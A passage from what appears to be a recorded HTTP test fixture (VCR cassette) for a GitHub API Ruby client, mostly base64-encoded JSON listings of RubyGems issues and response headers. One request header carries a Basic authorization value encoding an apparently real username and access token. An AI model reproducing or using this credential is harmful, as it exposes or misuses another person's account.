8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk5NiIsImlkIjoyNTM0NzM2NzYsIm51bWJlciI6MTk5NiwidGl0bGUiOiJTeW1saW5rIGV4ZWN1dGFibGVzIGRvbid0IHByb3Blcmx5IGluc3RhbGwiLCJ1c2VyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYXNzaWduZWVzIjpbeyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9XSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NCwiY3JlYXRlZF9hdCI6IjIwMTctMDgtMjhUMjI6MjA6NTdaIiwidXBkYXRlZF9hdCI6IjIwMTctMDktMDJUMTM6MDQ6NDVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsImJvZHkiOiJUaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFt4XSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gWyBdIE90aGVyIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTkyIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTIvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5OTIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk5Mi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk5MiIsImlkIjoyNTI5MzAxODYsIm51bWJlciI6MTk5MiwidGl0bGUiOiJpbnN0YWxsL3VwZGF0ZSB1c2luZyAtLWV4cGxhaW4gIiwidXNlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjcsImNyZWF0ZWRfYXQiOiIyMDE3LTA4LTI1VDE1OjA1OjMxWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA4LTI1VDE5OjQ5OjExWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0uXHJcblxyXG5gLS1leHBsYWluYCBvcHRpb24gZm9yIGBnZW0gaW5zdGFsbGAgYW5kIGBnZW0gdXBkYXRlYCBnaXZlcyBvZGQgcmVzdWx0cy4gIEkgcmVjYWxsIHRoaXMgd29ya2luZyBpbiBhIG1hbm5lciB0aGF0IHNlZW1lZCBjb3JyZWN0IGluIHRoZSBwYXN0LlxyXG5cclxuMS4gV2l0aCBhIHNwZWNpZmllZCBnZW0gbmFtZSwgaXQgYWx3YXlzIGluc3RhbGxzL3VwZGF0ZXMgXHJcbjIuIFdpdGhvdXQgYSBuYW1lLCBpdCBzaG93cyBgTm90aGluZyB0byB1cGRhdGVgLCBldmVuIHRob3VnaCBhIGZldyBnZW1zIGhhdmUgdXBkYXRlcyBhdmFpbGFibGUuXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFsgXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbeF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gWyBdIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuUnVieUdlbXMgRW52aXJvbm1lbnQ6XHJcbiAgLSBSVUJZR0VNUyBWRVJTSU9OOiAyLjYuMTJcclxuICAtIFJVQlkgVkVSU0lPTjogMi41LjAgKDIwMTctMDgtMjUgcGF0Y2hsZXZlbCAtMSkgW3g2NC1taW5ndzMyXVxyXG4gIC0gSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogRTovcl9idWlsZHMvMjVfMjAxNy0wOC0yNV81OTY1NC9ydWJ5MjVfNjQvbGliL3J1YnkvZ2Vtcy8yLjUuMFxyXG4gIC0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9Vc2Vycy9HcmVnLy5nZW0vcnVieS8yLjUuMFxyXG4gIC0gUlVCWSBFWEVDVVRBQkxFOiBFOi9yX2J1aWxkcy8yNV8yMDE3LTA4LTI1XzU5NjU0L3J1YnkyNV82NC9iaW4vcnVieS5leGVcclxuICAtIEVYRUNVVEFCTEUgRElSRUNUT1JZOiBFOi9yX2J1aWxkcy8yNV8yMDE3LTA4LTI1XzU5NjU0L3J1YnkyNV82NC9iaW5cclxuICAtIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiBDOi9Vc2Vycy9HcmVnLy5nZW0vc3BlY3NcclxuICAtIFNZU1RFTSBDT05GSUdVUkFUSU9OIERJUkVDVE9SWTogQzovUHJvZ3JhbURhdGFcclxuICAtIFJVQllHRU1TIFBMQVRGT1JNUzpcclxuICAgIC0gcnVieVxyXG4gICAgLSB4NjQtbWluZ3czMlxyXG4gIC0gR0VNIFBBVEhTOlxyXG4gICAgIC0gRTovcl9idWlsZHMvMjVfMjAxNy0wOC0yNV81OTY1NC9ydWJ5MjVfNjQvbGliL3J1YnkvZ2Vtcy8yLjUuMFxyXG4gICAgIC0gQzovVXNlcnMvR3JlZy8uZ2VtL3J1YnkvMi41LjBcclxuICAtIEdFTSBDT05GSUdVUkFUSU9OOlxyXG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcclxuICAgICAtIDp2ZXJib3NlID0+IHRydWVcclxuICAgICAtIDpiYWNrdHJhY2UgPT4gZmFsc2VcclxuICAgICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXHJcbiAgICAgLSBcImluc3RhbGxcIiA9PiBcIi0tbm8tZG9jdW1lbnQgLS1lbnYtc2hlYmFuZyAtLXBsYXRmb3JtIHJ1YnkgLS0gLS11c2Utc3lzdGVtLWxpYnJhcmllc1wiXHJcbiAgICAgLSBcInVwZGF0ZVwiID0+IFwiLS1uby1kb2N1bWVudCAtLWVudi1zaGViYW5nIC0tcGxhdGZvcm0gcnVieSAtLSAtLXVzZS1zeXN0ZW0tbGlicmFyaWVzXCJcclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXHJcbiAgLSBTSEVMTCBQQVRIOlxyXG4gICAgIC0gRTpcXHJfYnVpbGRzXFwyNV8yMDE3LTA4LTI1XzU5NjU0XFxydWJ5MjVfNjRcXGJpblxyXG4gICAgIC0gQzpcXFdpbmRvd3NcXHN5c3RlbTMyXHJcbiAgICAgLSBDOlxcV2luZG93c1xyXG4gICAgIC0gQzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxXYmVtXHJcbiAgICAgLSBDOlxcV2luZG93c1xcU3lzdGVtMzJcXFdpbmRvd3NQb3dlclNoZWxsXFx2MS4wXFxcclxuICAgICAtIEM6XFxydWJ5MjVfNjRcXGJpblxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcY21kXHJcbiAgICAgLSBFOlxcbXN5czY0XHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcR05VXFxHbnVQR1xccHViXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcTWljcm9zb2Z0IFNRTCBTZXJ2ZXJcXDEzMFxcVG9vbHNcXEJpbm5cXFxyXG4gICAgIC1cclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5ODMiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk4My9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk4My9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTgzL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTk4MyIsImlkIjoyNDgxNjY5NTIsIm51bWJlciI6MTk4MywidGl0bGUiOiJFeHRyYWN0IGJpbiBmaWxlIGZvciByYWtlIiwidXNlciI6eyJsb2dpbiI6ImNvbGJ5LXN3YW5kYWxlIiwiaWQiOjk5NjM3NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTk2Mzc3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2NvbGJ5LXN3YW5kYWxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEyLCJjcmVhdGVkX2F0IjoiMjAxNy0wOC0wNVQwNjo1NDo0NloiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yNlQwODoyODoyOVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE5ODMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE5ODMiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE5ODMuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE5ODMucGF0Y2gifSwiYm9keSI6IlRoaXMgUFIgaXMgZml4aW5nICMxNzU0IGJ5IGNyZWF0aW5nIGEgcnVieSBleGVjdXRhYmxlIHNjcmlwdCBmb3IgdGhlIHJha2UgY29tbWFuZCwgc28gdGhhdCB3ZSBjYW4gYXZvaWQgcnVubmluZyBpbnRvIHRoZSBnZW0gYWN0aXZhdGlvbiBpc3N1ZXMgbGlrZTpcclxuXHJcbmBgYFxyXG7igLogcmFrZSBuZXdiXHJcbmdpdCBzdWJtb2R1bGUgdXBkYXRlIC0taW5pdFxyXG5UbyBvdmVycmlkZSB5b3VyIGRlZmF1bHQgcmFrZSB2ZXJzaW9uLCBydW46IGByYWtlIF94Lnkuel8gdGFza19uYW1lYDpcclxuR2VtOjpMb2FkRXJyb3I6IGNhbid0IGFjdGl2YXRlIHJha2UtMTAuNS4wLCBhbHJlYWR5IGFjdGl2YXRlZCByYWtlLTEyLjEuMFxyXG5gYGBcclxuXHJcblRvIGZpeCB0aGlzIGlzc3VlIGkgaGF2ZSBleHRyYWN0ZWQgb3V0IHRoZSBIb2UgZ2Vtc3BlYyBnZW5lcmF0b3IgdGhhdCBsaXZlZCBpbiB0aGUgYFJha2VmaWxlYCBhbmQgY3JlYXRlZCBhIHJ1YnkgZXhlY3V0YWJsZSBpbiB0aGUgYHV0aWxgIGRpcmVjdG9yeS4gVGhpcyBtZWFucyB0aGF0IGdvaW5nIGZvcndhcmQgZGV2ZWxvcGVycyB3b3VsZCBuZWVkIHRvIHJ1biByYWtlIHRhc2tzIGFzIGB1dGlsL3Jha2UgPHRhc2s+YCBpbnN0ZWFkIG9mIGp1c3QgYDxyYWtlPmAuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbeCBdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxyXG4tIFsgXSBXcml0ZSB0ZXN0c1xyXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXHJcbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9XQ== http_version: recorded_at: Sat, 06 Jan 2018 15:00:31 GMT - request: method: get uri: https://api.github.com/repositories/614070/issues?page=2&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:31 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4313' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fb45abe0159e54e8210b9ed1d6cfbb11" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.226798' X-Github-Request-Id: - A3DA:4D96:972024:13A4D4F:5A50E48F body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2OSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY5L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTY5L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjkvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjkiLCJpZCI6MjQxNjE0MDc5LCJudW1iZXIiOjE5NjksInRpdGxlIjoiUHJvamVjdCBkaXJlY3Rvcnkgd2l0aCBhIHNwYWNlIGluIGl0J3MgbmFtZSIsInVzZXIiOnsibG9naW4iOiJ2YWxrIiwiaWQiOjU4NzU3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJ